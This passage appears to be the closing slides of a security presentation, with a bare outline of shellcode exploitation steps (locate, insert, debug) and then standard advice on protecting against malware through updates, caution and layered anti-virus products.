 - d) Installer of the possible vulnerable application
- 2. Locate Shellcode
- **3.** Insert Shellcode(Memory/File)
- 4. Debug the Shellcode







How you can protect yourself?

1. Keep OS Software and Application Up-to-date

2. Be Vigilant

- a) Do not execute file you are not familiar
- b) Do not enter an untrusted site
- c) Do not open a suspicious e-mail attachment/link from a sender you are not familiar
- 3. Install an Anti-Virus Product
 - a) Exposure Layer (Email Scanning, URL Blocking)
 - b) Infection Layer (File, Memory, Network Scanning)
 - c) Dynamic Layer (Behavioral Monitoring)
 - d) Clean-up Layer (Malware Infection Clean-up)





Thank You